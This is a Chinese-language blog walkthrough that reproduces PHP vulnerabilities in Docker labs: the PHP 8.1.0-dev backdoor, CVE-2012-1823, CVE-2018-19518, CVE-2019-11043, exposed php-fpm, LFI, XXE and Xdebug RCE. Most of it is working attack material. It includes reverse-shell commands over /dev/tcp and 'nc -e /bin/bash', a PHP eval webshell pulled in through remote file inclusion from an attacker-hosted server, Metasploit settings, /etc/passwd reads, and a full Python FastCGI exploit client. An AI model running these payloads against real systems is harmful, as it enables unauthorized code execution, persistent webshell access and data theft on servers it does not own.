php漏洞大杂烩

本文深入浅出的介绍并分析了php各个版本的漏洞原理,以及如何利用漏洞来获取webshell。

简介

PHP(PHP: Hypertext Preprocessor)即“超文本预处理器”,是在服务器端执行的脚本语言,尤其适用于Web开发并可嵌入HTML中。PHP语法学习了C语言,吸纳JavaPerl多个语言的特色发展出自己的特色语法,并根据它们的长项持续改进提升自己,例如java的面向对象编程,该语言当初创建的主要目标是让开发人员快速编写出优质的web网站。 [1-2] PHP同时支持面向对象和面向过程的开发,使用上非常灵活。

经过二十多年的发展,随着php-cli相关组件的快速发展和完善,PHP已经可以应用在[ TCP](https://baike.baidu.com/item/ TCP/33012)/UDP服务、高性能Web、WebSocket服务、物联网实时通讯、游戏、微服务等非 Web 领域的系统研发。

8.1-dev backdoor

PHP 8.1.0-dev 版本在2021年3月28日被植入后门,但是后门很快被发现并清除。当服务器存在该后门时,攻击者可以通过发送User-Agentt头来执行任意代码。

进入8.1-backdoor的docker环境

访问8080端口为一个hello world

bp抓包并构造一个User-Agentt放入,读取passwd

User-Agentt: zerodiumsystem("cat /etc/passwd");

切换命令读取whoami

是用zerodiumsystem函数进行bash反弹

User-Agentt: zerodiumsystem("bash -c 'exec bash -i >& /dev/tcp/192.168.1.10/7777 0>&1'"); 

CVE-2012-1823

用户请求的querystring被作为了php-cgi的参数,命令行参数不仅可以通过#!/usr/local/bin/php-cgi -d include_path=/path的方式传入php-cgi,还可以通过querystring的方式传入。但mod方式、fpm方式不受影响。

CGI模式下可控命令行参数

c 指定php.ini文件(PHP的配置文件)的位置
n 不要加载php.ini文件
d 指定配置项b 启动fastcgi进程
s 显示文件源码
T 执行指定次该文件
h和? 显示帮助

进入CVE-2012-1823的docker环境

访问http://192.168.1.10:8080/info.php

直接传参s即可访问源码

生成一个shell.txt,内容为一句话木马,这里生成txt是因为进行文件包含,然后在本地启动一个http服务

<?php @eval($_POST[cmd];?)>

抓包构造文件包含shell.txt

http://192.168.1.10:8080/index.php?-d+allow_url_include%3don+-d+auto_prepend_file%3dhttp://192.168.1.5:8000/shell.txt

使用蚁剑连接即可

或者使用msf里面的php_cgi_arg_injection模块,配置参数即可得到一个meterpreter

search php_cgi
use exploit/multi/http/php_cgi_arg_injection
set rhosts 192.168.1.10
set rport 8080
set lhost 192.168.1.9

CVE-2018-19518

CVE-2018-19518即PHP imap 远程命令执行漏洞,PHP 的imap_open函数中的漏洞可能允许经过身份验证的远程攻击者在目标系统上执行任意命令。该漏洞的存在是因为受影响的软件的imap_open函数在将邮箱名称传递给rsh或ssh命令之前不正确地过滤邮箱名称。如果启用了rsh和ssh功能并且rsh命令是ssh命令的符号链接,则攻击者可以通过向目标系统发送包含-oProxyCommand参数的恶意IMAP服务器名称来利用此漏洞。成功的攻击可能允许攻击者绕过其他禁用的exec 受影响软件中的功能,攻击者可利用这些功能在目标系统上执行任意shell命令。

进入CVE-2018-19518的docker环境

访问8080端口有三个文本框

这里随便填一下文本框的内容

使用exp进行发包,这个payload的作用应该是往/tmp/目录下写入一个test0001,内容为1234567890

<?php
# CRLF (c)
# echo '1234567890'>/tmp/test0001

$server = "x -oProxyCommand=echo\tZWNobyAnMTIzNDU2Nzg5MCc+L3RtcC90ZXN0MDAwMQo=|base64\t-d|sh}";

imap_open('{'.$server.':143/imap}INBOX', '', '') or die("\n\nError: ".imap_last_error());

这里进入tmp目录看一下,没有生成文件

这里卡了一段时间,一开始以为是exp错了,换了几个exp还是生成不了文件,这里看了其他师傅复现的操作,原来是还需要对url进行编码

这里其实只需要改三个字符即可\t:%09、+:%2b、=:%3d,这里为了方便使用bp的编码功能进行转换

得到如下payload

x+-oProxyCommand%3decho%09ZWNobyAnMTIzNDU2Nzg5MCc%2bL3RtcC90ZXN0MDAwMQo%3d|base64%09-d|sh}

再进行发包

进入/tmp目录查看已经创建成功

CVE-2019-11043

CVE-2019-11043漏洞产生的原因是,当nginx配置不当时,会导致php-fpm远程任意代码执行。

攻击者可以使用换行符(%0a)来破坏fastcgi_split_path_info指令中的Regexp。 Regexp被损坏导致PATH_INFO为空,同时slen可控,从而触发该漏洞。

有漏洞信息可知漏洞是由于path_info 的地址可控导致的,我们可以看到,当path_info 被%0a截断时,path_info 将被置为空,回到代码中就可以发现问题所在了。

在代码的1134行我们发现了可控的 path_info 的指针env_path_info。其中 env_path_info 就是变量path_info的地址,path_info为0则plien 为0。

slen 变量来自于请求后url的长度 int ptlen = strlen(pt); int slen = len - ptlen;

由于apache_was_here这个变量在前面被设为了0,因此path_info的赋值语句实际上就是:

path_info = env_path_info ? env_path_info + pilen - slen : NULL;

env_path_info是从Fast CGI的PATH_INFO取过来的,而由于代入了%0a,在采取fastcgi_split_path_info ^(.+?\.php)(/.*)$;这样的Nginx配置项的情况下,fastcgi_split_path_info无法正确识别现在的url,因此会Path Info置空,所以env_path_info在进行取值时,同样会取到空值,这也正是漏洞原因所在。

进入CVE-2019-11043的docker环境

这里需要使用到phuip-fpizdam工具,需要安装go环境

git clone https://github.com/neex/phuip-fpizdam.gitcd phuip-fpizdamgo get -v &amp;&amp; go build

这里题是我需要安装gccgo-gogolang-go,使用apt安装即可

这里正常情况下编译是编译不过去的,除非你是路由器直接fq,否则是访问不到proxy.golang.org,这里就需要换一个镜像网址即可编译

go get -v &amp;&amp; go buildgo env -w GOPROXY=https://goproxy.cn

这里本来phuip-fpizdam应该是一个exe文件,但是在linux里面可能生成的不是exe文件,所以直接使用就会报错

这里使用go run即可

./phuip-foizdamgo run . http://192.168.1.10:8080/index.php

访问index.php传参即可

http://192.168.1.10:8080/index.php?a=id

这里演示一下如何使用反弹nc反弹,在这个docker里面不自带nc,所以需要手动安装

首先进入php的docker容器,这里我先尝试了nginx的docker发现反弹不了

sudo docker exec -it 20 /bin/bash

安装apt-get和nc

apt updateapt-get netcat

然后执行nc命令反弹

http://192.168.1.10:8080/index.php?a=nc 192.168.1.10 7777

或者使用bash反弹也可以

http://192.168.1.10:8080/index.php?a=nc%20-e%20/bin/bash%20192.168.1.10%207777

fpm

PHP-FPM Fastcgi 未授权访问漏洞,这个漏洞需要先了解何为fastcgi

Fastcgi是一个通信协议,和HTTP协议一样,都是进行数据交换的一个通道。HTTP协议是浏览器和服务器中间件进行数据交换的协议,浏览器将HTTP头和HTTP体用某个规则组装成数据包,以TCP的方式发送到服务器中间件,服务器中间件按照规则将数据包解码,并按要求拿到用户需要的数据,再以HTTP协议的规则打包返回给服务器。类比HTTP协议来说,fastcgi协议则是服务器中间件和某个语言后端进行数据交换的协议。

PHP-FPM

PHP-FPM是一个fastcgi协议解析器,Nginx等服务器中间件将用户请求按照fastcgi的规则打包好传给FPM。FPM按照fastcgi的协议将TCP流解析成真正的数据。PHP-FPM默认监听9000端口,如果这个端口暴露在公网,则我们可以自己构造fastcgi协议,和fpm进行通信。
用户访问http://127.0.0.1/index.php?a=1&amp;b=2,如果web目录是/var/www/html,那么Nginx会将这个请求变成如下key-value对:

{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
}

这个数组其实就是PHP中$_SERVER数组的一部分,也就是PHP里的环境变量。但环境变量的作用不仅是填充$_SERVER数组,也是告诉fpm:“我要执行哪个PHP文件”。

PHP-FPM拿到fastcgi的数据包后,进行解析,得到上述这些环境变量。然后,执行SCRIPT_FILENAME的值指向的PHP文件,也就是/var/www/html/index.php

security.limit_extensions配置

此时,SCRIPT_FILENAME的值就格外重要了。因为fpm是根据这个值来执行php文件的,如果这个文件不存在,fpm会直接返回404。在fpm某个版本之前,我们可以将SCRIPT_FILENAME的值指定为任意后缀文件,比如/etc/passwd。但后来,fpm的默认配置中增加了一个选项security.limit_extensions。其限定了只有某些后缀的文件允许被fpm执行,默认是.php。所以,当我们再传入/etc/passwd的时候,将会返回Access denied。由于这个配置项的限制,如果想利用PHP-FPM的未授权访问漏洞,首先就得找到一个已存在的PHP文件。我们可以找找默认源安装后可能存在的php文件,比如/usr/local/lib/php/PEAR.php

任意代码执行

那么,为什么我们控制fastcgi协议通信的内容,就能执行任意PHP代码呢?

理论上当然是不可以的,即使我们能控制SCRIPT_FILENAME,让fpm执行任意文件,也只是执行目标服务器上的文件,并不能执行我们需要其执行的文件。

但PHP是一门强大的语言,PHP.INI中有两个有趣的配置项,auto_prepend_file和auto_append_file。

auto_prepend_file是告诉PHP,在执行目标文件之前,先包含auto_prepend_file中指定的文件;auto_append_file是告诉PHP,在执行完成目标文件后,包含auto_append_file指向的文件。

那么就有趣了,假设我们设置auto_prepend_file为php://input,那么就等于在执行任何php文件前都要包含一遍POST的内容。所以,我们只需要把待执行的代码放在Body中,他们就能被执行了。(当然,还需要开启远程文件包含选项allow_url_include)

那么,我们怎么设置auto_prepend_file的值?

这又涉及到PHP-FPM的两个环境变量,PHP_VALUE和PHP_ADMIN_VALUE。这两个环境变量就是用来设置PHP配置项的,PHP_VALUE可以设置模式为PHP_INI_USER和PHP_INI_ALL的选项,PHP_ADMIN_VALUE可以设置所有选项。(disable_functions除外,这个选项是PHP加载的时候就确定了,在范围内的函数直接不会被加载到PHP上下文中)

所以,我们最后传入如下环境变量

{
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'GET',
'SCRIPT_FILENAME': '/var/www/html/index.php',
'SCRIPT_NAME': '/index.php',
'QUERY_STRING': '?a=1&b=2',
'REQUEST_URI': '/index.php?a=1&b=2',
'DOCUMENT_ROOT': '/var/www/html',
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '12345',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1'
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}

进入fpm的docker环境

这里使用到基于py2攻击的exp

import socketimport randomimport argparseimport sysfrom io import BytesIO# Referrer: https://github.com/wuyunfeng/Python-FastCGI-ClientPY2 = True if sys.version_info.major == 2 else Falsedef bchr(i):    if PY2:        return force_bytes(chr(i))    else:        return bytes([i]) def bord(c):    if isinstance(c, int):        return c    else:        return ord(c) def force_bytes(s):    if isinstance(s, bytes):        return s    else:        return s.encode('utf-8', 'strict') def force_text(s):    if issubclass(type(s), str):        return s    if isinstance(s, bytes):        s = str(s, 'utf-8', 'strict')    else:        s = str(s)    return s  class FastCGIClient:    """A Fast-CGI Client for Python"""     # private    __FCGI_VERSION = 1     __FCGI_ROLE_RESPONDER = 1    __FCGI_ROLE_AUTHORIZER = 2    __FCGI_ROLE_FILTER = 3     __FCGI_TYPE_BEGIN = 1    __FCGI_TYPE_ABORT = 2    __FCGI_TYPE_END = 3    __FCGI_TYPE_PARAMS = 4    __FCGI_TYPE_STDIN = 5    __FCGI_TYPE_STDOUT = 6    __FCGI_TYPE_STDERR = 7    __FCGI_TYPE_DATA = 8    __FCGI_TYPE_GETVALUES = 9    __FCGI_TYPE_GETVALUES_RESULT = 10    __FCGI_TYPE_UNKOWNTYPE = 11     __FCGI_HEADER_SIZE = 8     # request state    FCGI_STATE_SEND = 1    FCGI_STATE_ERROR = 2    FCGI_STATE_SUCCESS = 3     def __init__(self, host, port, timeout, keepalive):        self.host = host        self.port = port        self.timeout = timeout        if keepalive:            self.keepalive = 1        else:            self.keepalive = 0        self.sock = None        self.requests = dict()     def __connect(self):        self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)        self.sock.settimeout(self.timeout)        self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)        # if self.keepalive:        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)        # else:        #     self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)        try:            self.sock.connect((self.host, int(self.port)))        except socket.error as msg:            self.sock.close()            self.sock = None            print(repr(msg))            return False        return True     def __encodeFastCGIRecord(self, fcgi_type, content, requestid):        length = len(content)        buf = bchr(FastCGIClient.__FCGI_VERSION) \               + bchr(fcgi_type) \               + bchr((requestid >> 8) & 0xFF) \               + bchr(requestid & 0xFF) \               + bchr((length >> 8) & 0xFF) \               + bchr(length & 0xFF) \               + bchr(0) \               + bchr(0) \               + content        return buf     def __encodeNameValueParams(self, name, value):        nLen = len(name)        vLen = len(value)        record = b''        if nLen < 128:            record += bchr(nLen)        else:            record += bchr((nLen >> 24) | 0x80) \                      + bchr((nLen >> 16) & 0xFF) \                      + bchr((nLen >> 8) & 0xFF) \                      + bchr(nLen & 0xFF)        if vLen < 128:            record += bchr(vLen)        else:            record += bchr((vLen >> 24) | 0x80) \                      + bchr((vLen >> 16) & 0xFF) \                      + bchr((vLen >> 8) & 0xFF) \                      + bchr(vLen & 0xFF)        return record + name + value     def __decodeFastCGIHeader(self, stream):        header = dict()        header['version'] = bord(stream[0])        header['type'] = bord(stream[1])        header['requestId'] = (bord(stream[2]) << 8) + bord(stream[3])        header['contentLength'] = (bord(stream[4]) << 8) + bord(stream[5])        header['paddingLength'] = bord(stream[6])        header['reserved'] = bord(stream[7])        return header     def __decodeFastCGIRecord(self, buffer):        header = buffer.read(int(self.__FCGI_HEADER_SIZE))         if not header:            return False        else:            record = self.__decodeFastCGIHeader(header)            record['content'] = b''                        if 'contentLength' in record.keys():                contentLength = int(record['contentLength'])                record['content'] += buffer.read(contentLength)            if 'paddingLength' in record.keys():                skiped = buffer.read(int(record['paddingLength']))            return record     def request(self, nameValuePairs={}, post=''):        if not self.__connect():            print('connect failure! please check your fasctcgi-server !!')            return         requestId = random.randint(1, (1 << 16) - 1)        self.requests[requestId] = dict()        request = b""        beginFCGIRecordContent = bchr(0) \                                 + bchr(FastCGIClient.__FCGI_ROLE_RESPONDER) \                                 + bchr(self.keepalive) \                                 + bchr(0) * 5        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_BEGIN,                                              beginFCGIRecordContent, requestId)        paramsRecord = b''        if nameValuePairs:            for (name, value) in nameValuePairs.items():                name = force_bytes(name)                value = force_bytes(value)                paramsRecord += self.__encodeNameValueParams(name, value)         if paramsRecord:            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, paramsRecord, requestId)        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_PARAMS, b'', requestId)         if post:            request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, force_bytes(post), requestId)        request += self.__encodeFastCGIRecord(FastCGIClient.__FCGI_TYPE_STDIN, b'', requestId)         self.sock.send(request)        self.requests[requestId]['state'] = FastCGIClient.FCGI_STATE_SEND        self.requests[requestId]['response'] = b''        return self.__waitForResponse(requestId)     def __waitForResponse(self, requestId):        data = b''        while True:            buf = self.sock.recv(512)            if not len(buf):                break            data += buf         data = BytesIO(data)        while True:            response = self.__decodeFastCGIRecord(data)            if not response:                break            if response['type'] == FastCGIClient.__FCGI_TYPE_STDOUT \                    or response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:                if response['type'] == FastCGIClient.__FCGI_TYPE_STDERR:                    self.requests['state'] = FastCGIClient.FCGI_STATE_ERROR                if requestId == int(response['requestId']):                    self.requests[requestId]['response'] += response['content']            if response['type'] == FastCGIClient.FCGI_STATE_SUCCESS:                self.requests[requestId]        return self.requests[requestId]['response']     def __repr__(self):        return "fastcgi connect host:{} port:{}".format(self.host, self.port)  if __name__ == '__main__':    parser = argparse.ArgumentParser(description='Php-fpm code execution vulnerability client.')    parser.add_argument('host', help='Target host, such as 127.0.0.1')    parser.add_argument('file', help='A php file absolute path, such as /usr/local/lib/php/System.php')    parser.add_argument('-c', '--code', help='What php code your want to execute', default='<?php phpinfo(); exit; ?>')    parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)     args = parser.parse_args()     client = FastCGIClient(args.host, args.port, 3, 0)    params = dict()    documentRoot = "/"    uri = args.file    content = args.code    params = {        'GATEWAY_INTERFACE': 'FastCGI/1.0',        'REQUEST_METHOD': 'POST',        'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),        'SCRIPT_NAME': uri,        'QUERY_STRING': '',        'REQUEST_URI': uri,        'DOCUMENT_ROOT': documentRoot,        'SERVER_SOFTWARE': 'php/fcgiclient',        'REMOTE_ADDR': '127.0.0.1',        'REMOTE_PORT': '9985',        'SERVER_ADDR': '127.0.0.1',        'SERVER_PORT': '80',        'SERVER_NAME': "localhost",        'SERVER_PROTOCOL': 'HTTP/1.1',        'CONTENT_TYPE': 'application/text',        'CONTENT_LENGTH': "%d" % len(content),        'PHP_VALUE': 'auto_prepend_file = php://input',        'PHP_ADMIN_VALUE': 'allow_url_include = On'    }    response = client.request(params, content)    print(force_text(response))

使用exp攻击9000端口即可执行命令

python fpm.py 192.168.1.10 -p 9000 /usr/local/lib/php/PEAR.php -c "<?php echo `ls`;?>"

inclusion

inclusion表示文件包含漏洞,该漏洞与PHP版本无关。PHP文件包含漏洞中,如果找不到可以包含的文件,我们可以通过包含临时文件的方法来getshell。因为临时文件名是随机的,如果目标网站上存在phpinfo,则可以通过phpinfo来获取临时文件名,进而进行包含。

进入inclusion的docker环境

进入inclusion目录,这里直接使用准备好的exp即可

python2 exp.py 192.168.1.10 8080

这里直接构造payload进行文件包含即可

http://192.168.1.10:8080/lfi.php?file=/tmp/g&1=system(%22id%22);

php_xxe

XXE(XML External Entity Injection)也就是XML外部实体注入,XXE漏洞发生在应用程序解析XML输入时,XML文件的解析依赖libxml 库,而 libxml2.9 以前的版本默认支持并开启了对外部实体的引用,服务端解析用户提交的XML文件时,未对XML文件引用的外部实体(含外部一般实体和外部参数实体)做合适的处理,并且实体的URL支持 file:// 和 ftp:// 等协议,导致可加载恶意外部文件和代码,造成 任意文件读取、命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害。

有了 XML 实体,关键字 ‘SYSTEM’ 会令 XML 解析器从URI中读取内容,并允许它在 XML 文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现。 简单来说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统上本地文件亦或是远程系统上的文件)

XXE 的危害有:

读取任意文件;
命令执行(php环境下,xml命令执行要求php装有expect扩展。而该扩展默认没有安装);
内网探测/SSRF(可以利用http://协议,发起http请求。可以利用该请求去探查内网,进行SSRF攻击。)
利用 XXE 对站点进行渗透一般有以下几个步骤:

首先读取核心内容(如配置文件等,如果读取的文件数据有空格的话,是读不出来的,但可以用base64编码);
其次用 xml 将其和某个网址页面进行拼接(拼接的主要原因是 xml 值存储数据不一定会输出因此需要将数据外带);
拼接完成后访问页面就可以启动后端代码,然后后端代码将数据存储在指定文件内;
最后直接访问该文件获取传送出的数据。

进入php_xxe的docker环境

首先访问8080端口全局搜索libxml,版本为2.8.0,这个版本是默认支持并开启对外部实体的引用的

在当前页面用bp抓包

这里使用file://来获取passwd

<?xml version="1.0" encoding="utf-8"?>         <!ENTITY xxe SYSTEM "file:///etc/passwd" >]>    <test>  <name>&xxe;</name>                  </test>

改GET为POST再加入代码发包即可得到passwd

xdebug-rce

xdebug本身就是一个调试程序,对get参数或者cookie的执行参数进行验证,如果验证通过就会进行调试,这里因为没有指定远端主机,所以任意主机都可以对php进行调试,即执行命令。

进入xdebug-rce的docker环境

访问8080端口全局查找xdebug.remote,发现允许远程调试

xdebug.remote_enable //允许远程,为On或者1都表示启用,Off和0表示关闭关闭xdebug.remote_host = 127.0.0.1 //远程主机的IP在这里填写,固定的 127.0.0.1

进入xdebug-rce目录下是用exp.py输出id

python3 exp.py -t http://192.168.1.10:8080/index.php -c "shell_exec('id');"

  • 发表于 2021-08-31 16:21:57
  • 阅读 ( 7012 )
  • 分类:WEB安全

0 条评论

请先 登录 后评论
bradypoder
bradypoder

1 篇文章

站长统计